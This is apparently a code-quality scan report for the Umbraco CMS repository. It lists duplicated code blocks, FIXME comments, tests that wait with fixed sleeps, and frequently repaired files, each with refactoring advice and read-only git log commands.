Duplicated block (9 lines × 2) src/Umbraco.Cms.Api.Management/Controllers/HealthCheck/Group/ByNameHealthCheckGroupController.cs:48— src/Umbraco.Cms.Api.Management/Controllers/HealthCheck/Group/ByNameHealthCheckGroupController.cs:48-56 | src/Umbraco.Cms.Api.Management/Controllers/HealthCheck/Group/CheckHealthCheckGroupController.cs:41-49 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Controllers/HealthCheck/Group/ByNameHealthCheckGroupController.cs:48` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (9 lines × 2) src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:702— src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:702-710 | src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1532-1540 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:702` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (9 lines × 2) src/Umbraco.Core/Packaging/PackagesRepository.cs:327— src/Umbraco.Core/Packaging/PackagesRepository.cs:327-335 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs:448-456 — before extracting anything, compare `src/Umbraco.Core/Packaging/PackagesRepository.cs` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs` as WHOLE FILES: this scan already matched 10 separate duplicated blocks between them, totalling at least 205 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (9 lines × 2) src/Umbraco.Infrastructure/Search/DeferredSearchReindexService.cs:334— src/Umbraco.Infrastructure/Search/DeferredSearchReindexService.cs:334-342 | src/Umbraco.PublishedCache.HybridCache/Services/DeferredCacheRebuildService.cs:241-249 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (9 lines × 2) src/Umbraco.Cms.Imaging.ImageSharp/ImageProcessors/CropWebProcessor.cs:34— src/Umbraco.Cms.Imaging.ImageSharp/ImageProcessors/CropWebProcessor.cs:34-42 | src/Umbraco.Cms.Imaging.ImageSharp2/ImageProcessors/CropWebProcessor.cs:34-42 — before extracting anything, compare `src/Umbraco.Cms.Imaging.ImageSharp/ImageProcessors/CropWebProcessor.cs` and `src/Umbraco.Cms.Imaging.ImageSharp2/ImageProcessors/CropWebProcessor.cs` as WHOLE FILES: this scan already matched 3 separate duplicated blocks between them, totalling at least 43 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place.
FixmeComment src/Umbraco.Cms.Api.Delivery/DependencyInjection/UmbracoBuilderExtensions.cs:123— // FIXME: remove this when Delivery API V1 is removed — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
FixmeComment src/Umbraco.Cms.Api.Delivery/Routing/DeliveryApiItemsEndpointsMatcherPolicy.cs:11— // FIXME: remove this when Delivery API V1 is removed — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
FixmeComment src/Umbraco.Cms.Api.Management/Configuration/ConfigureBackOfficeCookieOptions.cs:229— // FIXME: We want to change this over to using an attribute on the backoffice controllers
FixmeComment src/Umbraco.Core/Services/ContentTypeEditing/ContentTypeEditingServiceBase.cs:759— // FIXME: if at all possible, retain empty containers (bad DX to remove stuff that's been attempted saved) — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
FixmeComment src/Umbraco.Core/Services/MediaService.cs:1132— // FIXME: Use MoveEventInfo that also takes a parent key when implementing move with parentKey. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
FixmeComment src/Umbraco.Core/Services/MediaService.cs:1169— // FIXME: Use MoveEventInfo that also takes a parent key when implementing move with parentKey. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
FixmeComment src/Umbraco.Core/Services/OperationStatus/UserDataOperationStatus.cs:3— // FIXME: Move all authorization statuses to <see cref="UserGroupAuthorizationStatus"/> — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
FixmeComment src/Umbraco.Core/Services/WebProfilerService.cs:58— //FIXME when we can get current user — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
FixmeComment src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:153— //FIXME: Use MoveEventInfo constructor that takes a parentKey when this method is refactored — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
FixmeComment src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DataTypeRepository.cs:146— // FIXME: Use constructor that takes parent key when this method is refactored — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
FixmeComment src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DataTypeRepository.cs:169— // FIXME: Use constructor that takes parent key when this method is refactored — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
D10 · Test Quality· Fixed-sleep synchronisation · ×10
Fixed-sleep synchronisation: ConcurrentWritersTest tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/LocksTests.cs:187— This test starts a thread it started and then orders itself against it with `Thread.Sleep(100)` — a fixed wait, not a signal that the work is done. Whether it passes depends on how loaded the machine is, which is why a test written this way is green on a developer's box and random in CI. Wait for the event itself instead: the process's own exit or output, a completion handle, or a condition polled to a timeout.
Fixed-sleep synchronisation: DeadLockTest tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/LocksTests.cs:287— This test starts a thread it started and then orders itself against it with `Thread.Sleep(5200)` — a fixed wait, not a signal that the work is done. Whether it passes depends on how loaded the machine is, which is why a test written this way is green on a developer's box and random in CI. Wait for the event itself instead: the process's own exit or output, a completion handle, or a condition polled to a timeout.
Fixed-sleep synchronisation: Throws_When_Lock_Timeout_Is_Exceeded_Read tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/LocksTests.cs:417— This test starts a background task and then orders itself against it with `Thread.Sleep(10)` — a fixed wait, not a signal that the work is done. Whether it passes depends on how loaded the machine is, which is why a test written this way is green on a developer's box and random in CI. Wait for the event itself instead: the process's own exit or output, a completion handle, or a condition polled to a timeout.
Fixed-sleep synchronisation: Throws_When_Lock_Timeout_Is_Exceeded_Write tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/LocksTests.cs:482— This test starts a background task and then orders itself against it with `Thread.Sleep(10)` — a fixed wait, not a signal that the work is done. Whether it passes depends on how loaded the machine is, which is why a test written this way is green on a developer's box and random in CI. Wait for the event itself instead: the process's own exit or output, a completion handle, or a condition polled to a timeout.
Fixed-sleep synchronisation: GivenUncompletedScopeOnChildThread_WhenTheParentCompletes_TheTransactionIsRolledBack tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Scoping/ScopeTests.cs:43— This test starts a background task and then orders itself against it with `Thread.Sleep(1000)` — a fixed wait, not a signal that the work is done. Whether it passes depends on how loaded the machine is, which is why a test written this way is green on a developer's box and random in CI. Wait for the event itself instead: the process's own exit or output, a completion handle, or a condition polled to a timeout.
Fixed-sleep synchronisation: GivenChildThread_WhenParentDisposedBeforeChild_ParentScopeThrows tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Scoping/ScopeTests.cs:81— This test starts a background task and then orders itself against it with `Thread.Sleep(2000)` — a fixed wait, not a signal that the work is done. Whether it passes depends on how loaded the machine is, which is why a test written this way is green on a developer's box and random in CI. Wait for the event itself instead: the process's own exit or output, a completion handle, or a condition polled to a timeout.
Fixed-sleep synchronisation: ConcurrentWritersTest tests/Umbraco.Tests.Integration/Umbraco.Persistence.EFCore/Scoping/EFCoreLockTests.cs:196— This test starts a thread it started and then orders itself against it with `Thread.Sleep(1000)` — a fixed wait, not a signal that the work is done. Whether it passes depends on how loaded the machine is, which is why a test written this way is green on a developer's box and random in CI. Wait for the event itself instead: the process's own exit or output, a completion handle, or a condition polled to a timeout.
Fixed-sleep synchronisation: DeadLockTest tests/Umbraco.Tests.Integration/Umbraco.Persistence.EFCore/Scoping/EFCoreLockTests.cs:314— This test starts a thread it started and then orders itself against it with `Thread.Sleep(5200)` — a fixed wait, not a signal that the work is done. Whether it passes depends on how loaded the machine is, which is why a test written this way is green on a developer's box and random in CI. Wait for the event itself instead: the process's own exit or output, a completion handle, or a condition polled to a timeout.
Fixed-sleep synchronisation: GivenUncompletedScopeOnChildThread_WhenTheParentCompletes_TheTransactionIsRolledBack tests/Umbraco.Tests.Integration/Umbraco.Persistence.EFCore/Scoping/EFCoreScopeTest.cs:184— This test starts a background task and then orders itself against it with `Thread.Sleep(1000)` — a fixed wait, not a signal that the work is done. Whether it passes depends on how loaded the machine is, which is why a test written this way is green on a developer's box and random in CI. Wait for the event itself instead: the process's own exit or output, a completion handle, or a condition polled to a timeout.
Fixed-sleep synchronisation: GivenChildThread_WhenParentDisposedBeforeChild_ParentScopeThrows tests/Umbraco.Tests.Integration/Umbraco.Persistence.EFCore/Scoping/EFCoreScopeTest.cs:216— This test starts a background task and then orders itself against it with `Thread.Sleep(2000)` — a fixed wait, not a signal that the work is done. Whether it passes depends on how loaded the machine is, which is why a test written this way is green on a developer's box and random in CI. Wait for the event itself instead: the process's own exit or output, a completion handle, or a condition polled to a timeout.
Repeated repair: tests/Umbraco.Tests.AcceptanceTest/lib/helpers/DataTypeApiHelper.ts tests/Umbraco.Tests.AcceptanceTest/lib/helpers/DataTypeApiHelper.ts:219— tests/Umbraco.Tests.AcceptanceTest/lib/helpers/DataTypeApiHelper.ts changed 7 times in last 90 days and 4 of those changes were fix/bug commits, so repair is the majority of this file's churn. Its max cyclomatic complexity is 8 (its worst body is recurseChildren at line 219), UNDER the 15 threshold, so this is deliberately not filed as a churn × complexity hotspot — the difficulty here is in the behaviour the file has to get right, not in its control flow, and refactoring it for complexity would be the wrong move. The repairs counted were: “Acceptance Tests: Fix flaky tests caused by racing waits and weak assertions (#23650)”; “Tests: Cherry-pick acceptance tests from main to v17 and fix for v17 UI (#23468)”; “Tests: Fix flaky media order-direction acceptance test (#23469)”; “Fix recursive acceptance helper search (#23323) (#23335)”. Each one is a case this code did not handle. Before the next change lands here, check that every one of them is pinned by a test that fails without its fix; where the same area keeps coming back, the durable fix is usually at the interface that keeps being misused rather than at the line that was last corrected. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- tests/Umbraco.Tests.AcceptanceTest/lib/helpers/DataTypeApiHelper.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Repeated repair: tests/Umbraco.Tests.AcceptanceTest/lib/helpers/MediaUiHelper.ts tests/Umbraco.Tests.AcceptanceTest/lib/helpers/MediaUiHelper.ts:124— tests/Umbraco.Tests.AcceptanceTest/lib/helpers/MediaUiHelper.ts changed 5 times in last 90 days and 3 of those changes were fix/bug commits, so repair is the majority of this file's churn. Its max cyclomatic complexity is 2 (its worst body is openMediaCaretButtonForName at line 124), UNDER the 15 threshold, so this is deliberately not filed as a churn × complexity hotspot — the difficulty here is in the behaviour the file has to get right, not in its control flow, and refactoring it for complexity would be the wrong move. The repairs counted were: “Tests: Cherry-pick acceptance tests from main to v17 and fix for v17 UI (#23468)”; “Tests: Fix flaky media order-direction acceptance test (#23469)”; “E2E: QA: Fixed flaky tests (#23190)”. Each one is a case this code did not handle. Before the next change lands here, check that every one of them is pinned by a test that fails without its fix; where the same area keeps coming back, the durable fix is usually at the interface that keeps being misused rather than at the line that was last corrected. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- tests/Umbraco.Tests.AcceptanceTest/lib/helpers/MediaUiHelper.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Repeated repair: tests/Umbraco.Tests.AcceptanceTest/lib/helpers/MediaTypeApiHelper.ts tests/Umbraco.Tests.AcceptanceTest/lib/helpers/MediaTypeApiHelper.ts:33— tests/Umbraco.Tests.AcceptanceTest/lib/helpers/MediaTypeApiHelper.ts changed 4 times in last 90 days and 3 of those changes were fix/bug commits, so repair is the majority of this file's churn. Its max cyclomatic complexity is 8 (its worst body is recurseChildren at line 33), UNDER the 15 threshold, so this is deliberately not filed as a churn × complexity hotspot — the difficulty here is in the behaviour the file has to get right, not in its control flow, and refactoring it for complexity would be the wrong move. The repairs counted were: “Acceptance Tests: Fix flaky tests caused by racing waits and weak assertions (#23650)”; “Tests: Cherry-pick acceptance tests from main to v17 and fix for v17 UI (#23468)”; “Fix recursive acceptance helper search (#23323) (#23335)”. Each one is a case this code did not handle. Before the next change lands here, check that every one of them is pinned by a test that fails without its fix; where the same area keeps coming back, the durable fix is usually at the interface that keeps being misused rather than at the line that was last corrected. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- tests/Umbraco.Tests.AcceptanceTest/lib/helpers/MediaTypeApiHelper.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Repeated repair: tests/Umbraco.Tests.AcceptanceTest/lib/helpers/MemberTypeApiHelper.ts tests/Umbraco.Tests.AcceptanceTest/lib/helpers/MemberTypeApiHelper.ts:42— tests/Umbraco.Tests.AcceptanceTest/lib/helpers/MemberTypeApiHelper.ts changed 4 times in last 90 days and 3 of those changes were fix/bug commits, so repair is the majority of this file's churn. Its max cyclomatic complexity is 8 (its worst body is recurseChildren at line 42), UNDER the 15 threshold, so this is deliberately not filed as a churn × complexity hotspot — the difficulty here is in the behaviour the file has to get right, not in its control flow, and refactoring it for complexity would be the wrong move. The repairs counted were: “Acceptance Tests: Fix flaky tests caused by racing waits and weak assertions (#23650)”; “Tests: Cherry-pick acceptance tests from main to v17 and fix for v17 UI (#23468)”; “Fix recursive acceptance helper search (#23323) (#23335)”. Each one is a case this code did not handle. Before the next change lands here, check that every one of them is pinned by a test that fails without its fix; where the same area keeps coming back, the durable fix is usually at the interface that keeps being misused rather than at the line that was last corrected. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- tests/Umbraco.Tests.AcceptanceTest/lib/helpers/MemberTypeApiHelper.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Repeated repair: tests/Umbraco.Tests.AcceptanceTest/lib/helpers/PartialViewApiHelper.ts tests/Umbraco.Tests.AcceptanceTest/lib/helpers/PartialViewApiHelper.ts:106— tests/Umbraco.Tests.AcceptanceTest/lib/helpers/PartialViewApiHelper.ts changed 4 times in last 90 days and 3 of those changes were fix/bug commits, so repair is the majority of this file's churn. Its max cyclomatic complexity is 8 (its worst body is recurseChildren at line 106), UNDER the 15 threshold, so this is deliberately not filed as a churn × complexity hotspot — the difficulty here is in the behaviour the file has to get right, not in its control flow, and refactoring it for complexity would be the wrong move. The repairs counted were: “Acceptance Tests: Fix flaky tests caused by racing waits and weak assertions (#23650)”; “Tests: Cherry-pick acceptance tests from main to v17 and fix for v17 UI (#23468)”; “Fix recursive acceptance helper search (#23323) (#23335)”. Each one is a case this code did not handle. Before the next change lands here, check that every one of them is pinned by a test that fails without its fix; where the same area keeps coming back, the durable fix is usually at the interface that keeps being misused rather than at the line that was last corrected. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- tests/Umbraco.Tests.AcceptanceTest/lib/helpers/PartialViewApiHelper.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Repeated repair: tests/Umbraco.Tests.AcceptanceTest/lib/helpers/ScriptApiHelper.ts tests/Umbraco.Tests.AcceptanceTest/lib/helpers/ScriptApiHelper.ts:126— tests/Umbraco.Tests.AcceptanceTest/lib/helpers/ScriptApiHelper.ts changed 4 times in last 90 days and 3 of those changes were fix/bug commits, so repair is the majority of this file's churn. Its max cyclomatic complexity is 8 (its worst body is recurseChildren at line 126), UNDER the 15 threshold, so this is deliberately not filed as a churn × complexity hotspot — the difficulty here is in the behaviour the file has to get right, not in its control flow, and refactoring it for complexity would be the wrong move. The repairs counted were: “Acceptance Tests: Fix flaky tests caused by racing waits and weak assertions (#23650)”; “Tests: Cherry-pick acceptance tests from main to v17 and fix for v17 UI (#23468)”; “Fix recursive acceptance helper search (#23323) (#23335)”. Each one is a case this code did not handle. Before the next change lands here, check that every one of them is pinned by a test that fails without its fix; where the same area keeps coming back, the durable fix is usually at the interface that keeps being misused rather than at the line that was last corrected. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- tests/Umbraco.Tests.AcceptanceTest/lib/helpers/ScriptApiHelper.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Repeated repair: tests/Umbraco.Tests.AcceptanceTest/lib/helpers/StylesheetApiHelper.ts tests/Umbraco.Tests.AcceptanceTest/lib/helpers/StylesheetApiHelper.ts:110— tests/Umbraco.Tests.AcceptanceTest/lib/helpers/StylesheetApiHelper.ts changed 4 times in last 90 days and 3 of those changes were fix/bug commits, so repair is the majority of this file's churn. Its max cyclomatic complexity is 8 (its worst body is recurseChildren at line 110), UNDER the 15 threshold, so this is deliberately not filed as a churn × complexity hotspot — the difficulty here is in the behaviour the file has to get right, not in its control flow, and refactoring it for complexity would be the wrong move. The repairs counted were: “Acceptance Tests: Fix flaky tests caused by racing waits and weak assertions (#23650)”; “Tests: Cherry-pick acceptance tests from main to v17 and fix for v17 UI (#23468)”; “Fix recursive acceptance helper search (#23323) (#23335)”. Each one is a case this code did not handle. Before the next change lands here, check that every one of them is pinned by a test that fails without its fix; where the same area keeps coming back, the durable fix is usually at the interface that keeps being misused rather than at the line that was last corrected. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- tests/Umbraco.Tests.AcceptanceTest/lib/helpers/StylesheetApiHelper.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Repeated repair: src/Umbraco.Web.UI.Client/src/packages/code-editor/components/code-editor.element.ts src/Umbraco.Web.UI.Client/src/packages/code-editor/components/code-editor.element.ts:195— src/Umbraco.Web.UI.Client/src/packages/code-editor/components/code-editor.element.ts changed 4 times in last 90 days and 3 of those changes were fix/bug commits, so repair is the majority of this file's churn. Its max cyclomatic complexity is 11 (its worst body is updated at line 195), UNDER the 15 threshold, so this is deliberately not filed as a churn × complexity hotspot — the difficulty here is in the behaviour the file has to get right, not in its control flow, and refactoring it for complexity would be the wrong move. The repairs counted were: “ESlint: Auto fix of jsdocs warnings (#23647)”; “Chore: auto fix of eslint warnings (#23631)”; “fix: Markdown Editor auto-expands with content and enables word-wrap (#23273)”. Each one is a case this code did not handle. Before the next change lands here, check that every one of them is pinned by a test that fails without its fix; where the same area keeps coming back, the durable fix is usually at the interface that keeps being misused rather than at the line that was last corrected. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Web.UI.Client/src/packages/code-editor/components/code-editor.element.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Repeated repair: src/Umbraco.Web.UI.Client/src/external/uui/index.ts src/Umbraco.Web.UI.Client/src/external/uui/index.ts:36— src/Umbraco.Web.UI.Client/src/external/uui/index.ts changed 4 times in last 90 days and 3 of those changes were fix/bug commits, so repair is the majority of this file's churn. Its max cyclomatic complexity is 2 (its worst body is demandCustomElement at line 36), UNDER the 15 threshold, so this is deliberately not filed as a churn × complexity hotspot — the difficulty here is in the behaviour the file has to get right, not in its control flow, and refactoring it for complexity would be the wrong move. The repairs counted were: “Hotfix: Reintroduce deprecated UUI components (#23628)”; “Hotfix: adding backwards compatible exports (#23626)”; “Hotfix: export a Backoffice version of demandCustomElement (#23624)”. Each one is a case this code did not handle. Before the next change lands here, check that every one of them is pinned by a test that fails without its fix; where the same area keeps coming back, the durable fix is usually at the interface that keeps being misused rather than at the line that was last corrected. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Web.UI.Client/src/external/uui/index.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Repeated repair: src/Umbraco.Web.UI.Client/src/packages/code-editor/code-editor.controller.ts src/Umbraco.Web.UI.Client/src/packages/code-editor/code-editor.controller.ts:160— src/Umbraco.Web.UI.Client/src/packages/code-editor/code-editor.controller.ts changed 3 times in last 90 days and 3 of those changes were fix/bug commits, so repair is the majority of this file's churn. Its max cyclomatic complexity is 8 (its worst body is #mapOptions at line 160), UNDER the 15 threshold, so this is deliberately not filed as a churn × complexity hotspot — the difficulty here is in the behaviour the file has to get right, not in its control flow, and refactoring it for complexity would be the wrong move. The repairs counted were: “ESlint: Auto fix of jsdocs warnings (#23647)”; “Chore: auto fix of eslint warnings (#23631)”; “fix: Markdown Editor auto-expands with content and enables word-wrap (#23273)”. Each one is a case this code did not handle. Before the next change lands here, check that every one of them is pinned by a test that fails without its fix; where the same area keeps coming back, the durable fix is usually at the interface that keeps being misused rather than at the line that was last corrected. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Web.UI.Client/src/packages/code-editor/code-editor.controller.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Duplicated block (7 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaTypeRepository.cs:129— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaTypeRepository.cs:129-136 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberTypeRepository.cs:193-199 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaTypeRepository.cs:129` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note first that the copies are not typed on the same thing: the declarations holding them bind `entity` to `IMediaType` in one and `IMemberType` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (7 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PermissionRepository.cs:99— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PermissionRepository.cs:99-105 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PermissionRepository.cs:128-134 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PermissionRepository.cs:99` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (7 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:1792— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:1792-1798 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:1805-1811 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:1792` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (7 lines × 2) src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:170— src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:170-176 | src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:322-328 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited.
Duplicated block (7 lines × 2) src/Umbraco.Infrastructure/PropertyEditors/MediaPicker3PropertyEditor.cs:475— src/Umbraco.Infrastructure/PropertyEditors/MediaPicker3PropertyEditor.cs:475-481 | src/Umbraco.Infrastructure/PropertyEditors/ValueConverters/ImageCropperValue.cs:215-221 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice.
Duplicated block (7 lines × 2) src/Umbraco.Infrastructure/Search/DeferredSearchReindexService.cs:307— src/Umbraco.Infrastructure/Search/DeferredSearchReindexService.cs:307-313 | src/Umbraco.PublishedCache.HybridCache/Services/DeferredCacheRebuildService.cs:209-215 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice.
